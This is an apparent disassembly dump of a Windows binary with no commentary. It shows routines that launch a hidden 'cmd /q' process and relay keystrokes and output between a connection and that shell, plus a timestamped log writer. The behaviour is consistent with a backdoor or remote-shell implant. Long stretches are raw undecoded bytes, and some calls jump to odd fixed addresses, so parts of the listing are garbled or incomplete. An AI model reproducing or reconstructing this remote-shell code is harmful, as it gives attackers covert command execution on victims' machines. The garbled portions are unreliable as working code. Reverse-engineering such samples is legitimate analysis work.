arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2670C18h
		nop
		test	eax, eax
		jz	short loc_410FDC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E598[eax], ecx
		nop
		call	near ptr 2670894h
		jmp	short loc_410FF2
; ---------------------------------------------------------------------------


loc_410FDC:				; CODE XREF: sub_410F20+9Aj
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_434B6C
		call	sub_415221
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF2:				; CODE XREF: sub_410F20+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF9	proc near		; DATA XREF: sub_410CD6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411022:				; CODE XREF: sub_410FF9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41108A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105D


loc_411033:				; CODE XREF: sub_410FF9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104D
		cmp	dl, 0Dh
		jz	short loc_41104D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104D:				; CODE XREF: sub_410FF9+44j
					; sub_410FF9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411033


loc_41105D:				; CODE XREF: sub_410FF9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_41108A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411022
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_410FF9+2Dj
					; sub_410FF9+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A6
		call	esi
		push	eax
		push	offset dword_434BAC
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4110A6:				; CODE XREF: sub_410FF9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AB	proc near		; DATA XREF: sub_410CD6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C4:				; CODE XREF: sub_4110AB+39j
					; sub_4110AB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB66C
		test	eax, eax
		jle	loc_4111C9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E6
		dec	[ebp+var_10]
		jmp	short loc_4110C4
; ---------------------------------------------------------------------------


loc_4110E6:				; CODE XREF: sub_4110AB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411156
		cmp	al, 7Fh
		jz	short loc_411156
		cmp	al, 3
		jnz	short loc_411111
		push	ebx
		push	ebx
		nop
		call	near ptr 2790000h
		jmp	short loc_41117D
; ---------------------------------------------------------------------------


loc_411111:				; CODE XREF: sub_4110AB+5Aj
		cmp	al, 15h
		jnz	short loc_411133
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411133:				; CODE XREF: sub_4110AB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_41116A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411169
; ---------------------------------------------------------------------------


loc_411156:				; CODE XREF: sub_4110AB+52j
					; sub_4110AB+56j
		cmp	esi, ebx
		jbe	short loc_411180
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411169:				; CODE XREF: sub_4110AB+86j
					; sub_4110AB+A9j
		pop	ecx


loc_41116A:				; CODE XREF: sub_4110AB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB6A4
		test	eax, eax
		jle	short loc_4111C9


loc_41117D:				; CODE XREF: sub_4110AB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411180:				; CODE XREF: sub_4110AB+ADj
		cmp	al, 0Dh
		jnz	loc_4110C4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_4111C9
		xor	esi, esi
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111A9:				; CODE XREF: sub_4110AB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111BA
		mov	[ebp+var_C], 1
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111BA:				; CODE XREF: sub_4110AB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C4
; ---------------------------------------------------------------------------


loc_4111C9:				; CODE XREF: sub_4110AB+2Bj
					; sub_4110AB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AB	endp

; ---------------------------------------------------------------------------
word_4111CE	dw 8B55h		; DATA XREF: sub_401ACD+2C08o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E59Ch,	50EC458Dh, 8015FF57h, 85004CB6h
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 0BC68FFFFh, 500042BFh, 0A605E8h,	10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch
		dd 0A599E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF9DFBh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 13D36850h, 56560041h
		dd 27ECD7E8h, 4D8B9002h, 34C969C8h, 3B000002h, 0A48189C6h
		dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0FC00E890h
		dd 0EDEB0226h, 0F58BE890h, 8D500227h, 0FFFD2C85h, 4C1C68FFh
		dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h
		dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
		dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
		dd 59FFFFA0h, 31E85659h, 90022DECh, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E59Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh
		dd 0FFFF9FC7h, 0ADE85359h, 90022DEBh, 30858D53h, 68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB66C15h,	7FC08500h, 0FF36FF18h
		dd 4CB6EC15h, 875FF00h,	0FF9F96E8h, 905359FFh, 2DEB7BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh,	400h, 0FB38858Dh
		dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
		dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h
		dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
		dd 0E5E89053h, 6A022DEAh, 0E8458D10h, 69E85053h, 660000A0h
		dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
		dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh,	8B004CB6h
		dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h
		dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 4DE89053h,	8D022DEAh
		dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh
		dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h
		dd 5359FFFFh, 0E9DEE890h, 68022Dh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F4FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0B6A415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h
		dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 81E89053h
		dd 0FF022DE9h, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
		dd 69E89053h
		db 0E9h, 2Dh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AD:				; CODE XREF: ___:0041175Cj
					; ___:0041178Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C5:				; CODE XREF: ___:004116D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C5


loc_4116D5:				; CODE XREF: ___:004116CAj
		cmp	ecx, 1
		jnz	short loc_4116EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116EA:				; CODE XREF: ___:004116D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB540
		test	eax, eax
		jz	short loc_41174A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792


loc_41174A:				; CODE XREF: ___:0041171Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB540
		test	eax, eax
		jz	loc_4116AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411792
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AD


loc_411792:				; CODE XREF: ___:00411731j
					; ___:00411748j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_411797	db 55h			; DATA XREF: sub_401ACD+210Eo
					; sub_40BACE+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	226F762h
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
		dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
		dd 9BE5E8FFh, 5959FFFFh, 0C9E89053h, 8D022DE7h,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E59CB0h, 0D4458D00h, 9D16E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh
		dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h
		dd 83004CB6h, 1975FFF8h, 138868h, 9BE89000h, 0FF0226F6h
		dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0F668E890h, 8D530226h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh
		dd 858DFFFFh, 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF9AF6E8h, 1CC483FFh, 0D9E89053h, 8B022DE6h, 9F39087Dh
		dd 2A0h, 295840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch
		dd 2398E0Fh, 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 2C15FF56h, 0FF004CB6h, 4589C875h, 0E015FFF8h, 50004CB6h
		dd 50B0458Dh, 9EADE8h, 309D3800h, 59FFFFFFh, 0C2850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0BBh, 0FD94858Dh
		dd 0E850FFFFh, 95E0h, 75FF5353h, 0B7E2E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96E0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0B6B815FFh, 458D004Ch
		dd 858D50B0h, 0FFFFF888h, 434D8C68h, 17E85000h,	8300009Eh
		dd 9D390CC4h, 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD9E8FFh
		dd 0C483FFFFh, 88858D14h, 50FFFFF8h, 3704E8h, 10E95900h
		dd 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B6D3E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0EFE85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CB6B815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434D6Ch
		dd 9D20E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF7EE2E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 360Dh, 0E15C05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 434D60h, 0B815FF56h, 39004CB6h, 8F0FF85Dh
		dd 0FFFFFD5Fh, 56087D8Bh, 0B6EC15FFh, 75FF004Ch, 9481E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF981Fh, 0E8905359h, 22DE404h, 3E868h
		dd 0F348E800h, 57900226h, 0FFFB8AE8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 279011Eh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2680B57h
		nop
		lea	eax, [ebp-114h]
		push	offset asc_43554C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429120
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7B
		push	1
		pop	eax
		jmp	short loc_411CF2
; ---------------------------------------------------------------------------


loc_411C7B:				; CODE XREF: ___:00411C74j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CF0
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43551C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A73
		add	esp, 24h


loc_411CF0:				; CODE XREF: ___:00411CB7j
		xor	eax, eax


loc_411CF2:				; CODE XREF: ___:00411C79j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
byte_411CF5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4509o
		dd 8DCEC81h, 458B0000h,	57565308h, 0F724A583h, 6A00FFFFh
		dd 0FC658325h, 0F08B5900h, 0FF24BD8Dh, 0A5F3FFFFh, 9080C7h
		dd 10000h, 0FFB90000h, 33000000h, 28BD8DC0h, 0F3FFFFF7h
		dd 0D815FFABh, 8D004CB5h, 3C6AB84Dh, 45895051h,	0F015FFF8h
		dd 0BB004CB5h, 200h, 0E890086Ah, 226F1F6h, 0B5D815FFh
		dd 453B004Ch, 8D7574F8h, 3C6AB84Dh, 45895051h, 0F015FFF8h
		dd 8D004CB5h, 8D50B845h, 0FFFD2485h, 858D50FFh,	0FFFFFB24h
		dd 43557C68h, 0F7E85000h, 8100009Ah, 84ECh, 24B58D00h
		dd 8DFFFFFFh, 0FFFB2485h, 59256AFFh, 0F350FC8Bh, 0FE66E8A5h
		dd 4589FFFFh, 858D53FCh, 0FFFFFD24h, 0E850006Ah, 97D0h
		dd 0A4C481h, 858D0000h,	0FFFFFB24h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0B40845C7h, 6A00434Dh, 2815FF10h,	0F004CB5h
		dd 458BF0BFh, 0FC788B08h, 2015FF57h, 0F6004CB6h, 7B7480C4h
		dd 15FF146Ah, 4CB528h, 74C08566h, 0FFFE831Fh, 0FF831A7Eh
		dd 83157E40h, 107D5BFFh, 24BD84C7h, 1FFFFF7h, 0E9000000h
		dd 17Fh, 15FF146Ah, 4CB528h, 74C08566h,	7DF6851Eh, 40FF832Eh
		dd 0FF83157Eh, 0C7107D5Bh, 0F724BD84h, 2FFFFh, 54E90000h
		dd 85000001h, 0C7107DF6h, 0F724BD84h, 3FFFFh, 40E90000h
		dd 0C7000001h, 0F724BD84h, 4FFFFh, 30E90000h, 8B000001h
		dd 0F724BDB4h, 848DFFFFh, 0FFF724BDh, 0FF685FFh, 11A84h
		dd 208300h, 0FD24858Dh,	0FF83FFFFh, 13755008h, 913FE8h
		dd 5A48000h, 0FFFFFD23h, 0F8E95900h, 0E8000000h, 912Ch
		dd 1B93Dh, 25765900h, 0B5D815FFh, 4D8D004Ch, 513C6AB8h
		dd 0F015FF50h, 8D004CB5h, 8D50B845h, 0FFFD2485h, 646850FFh
		dd 0EB004355h, 0DFF8341h, 8F850Fh, 858D0000h, 0FFFFFD24h
		dd 90EAE850h, 0C0850000h, 0A8840F59h, 0FF000000h, 4CB5D815h
		dd 0B84D8D00h, 50513C6Ah, 0B5F015FFh, 458D004Ch, 858D50B8h
		dd 0FFFFFD24h, 55506850h, 858D0043h, 0FFFFFB24h, 9958E850h
		dd 0EC810000h, 84h, 0FF24B58Dh,	858DFFFFh, 0FFFFFB24h
		dd 8B59256Ah, 0A5F350FCh, 0FFFCC7E8h, 0FC4589FFh, 24858D53h
		dd 6AFFFFFDh, 31E85000h, 81000096h, 0A4C4h, 24858D00h
		dd 53FFFFFBh, 0E850006Ah, 961Ch, 0EB0CC483h, 1FE832Eh
		dd 0FE831474h, 830F7403h, 57402FEh, 7504FE83h, 875FF1Ah
		dd 458B07EBh, 7C08308h,	24858D50h, 50FFFFFDh, 9F1BE8h
		dd 83595900h, 81140845h, 54E4087Dh, 8C0F0043h, 0FFFFFE27h
		dd 0FC7D83h, 0FD8E840Fh, 0B5FFFFFFh, 0FFFFFF28h, 0FF9446E8h
		dd 6A59FFh, 0E02AE890h
		db 2Dh,	2
word_411FD6	dw 8B55h		; DATA XREF: sub_401ACD+412Bo
		dd 2B4B8ECh, 3DE80001h,	8B00009Bh, 57560855h, 8B58016Ah
		dd 8D256AF2h, 0FFFF4CBDh, 458959FFh, 89A5F3F8h,	9082h
		dd 6AF63300h, 0E4458D10h, 81E85056h, 83000095h,	0C7660CC4h
		dd 2E445h, 5415FF56h, 0FF004CB6h, 0FFFF4CB5h, 458966FFh
		dd 8BE2E8E6h, 5059FFFFh, 0B69415FFh, 6A56004Ch,	89026A03h
		dd 15FFE845h, 4CB6D4h, 0FF83F88Bh, 0FC7D89FFh, 15FF5D75h
		dd 4CB5E8h, 4C858D50h, 68FFFFFDh, 435EECh, 9820E850h, 0C4830000h
		dd 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h
		dd 50FFFFFFh, 0FF4CB5FFh, 0E8E8FFFFh, 83FFFF79h, 858D14C4h
		dd 0FFFFFD4Ch, 3113E850h, 75FF0000h, 9371E8D0h,	5959FFFFh
		dd 55E89056h, 8B022DDFh, 106AD045h, 234C069h, 0B8890000h
		dd 43E59Ch, 50E4458Dh, 8015FF57h, 83004CB6h, 6475FFF8h
		dd 0B5E815FFh, 8D50004Ch, 0FFFD4C85h, 5EC068FFh, 0E8500043h
		dd 97A2h, 390CC483h, 2075D875h,	4C858D56h, 0FFFFFFFDh
		dd 8D50D475h, 0FFFF5085h, 0B5FF50FFh, 0FFFFFF4Ch, 0FF796AE8h
		dd 14C483FFh, 0FD4C858Dh, 0E850FFFFh, 3095h, 15FF5759h
		dd 4CB6ECh, 0E8D075FFh,	0FFFF92EBh, 0E8905659h,	22DDED0h
		dd 0E0458D56h, 56565056h, 6AF8458Dh, 1685004h, 57980000h
		dd 0B60015FFh, 0F883004Ch, 0FF6475FFh, 4CB5E815h, 858D5000h
		dd 0FFFFFD4Ch, 435E9068h, 1FE85000h, 83000097h,	75390CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF78E7h, 8D14C483h, 0FFFD4C85h
		dd 12E850FFh, 59000030h, 0EC15FF57h, 0FF004CB6h, 68E8D075h
		dd 59FFFF92h, 4DE89056h, 53022DDEh, 4355A8BBh, 0FFFFBF00h
		dd 858D0000h, 0FFFEFD4Ch, 0E8505657h, 93C4h, 8D0CC483h
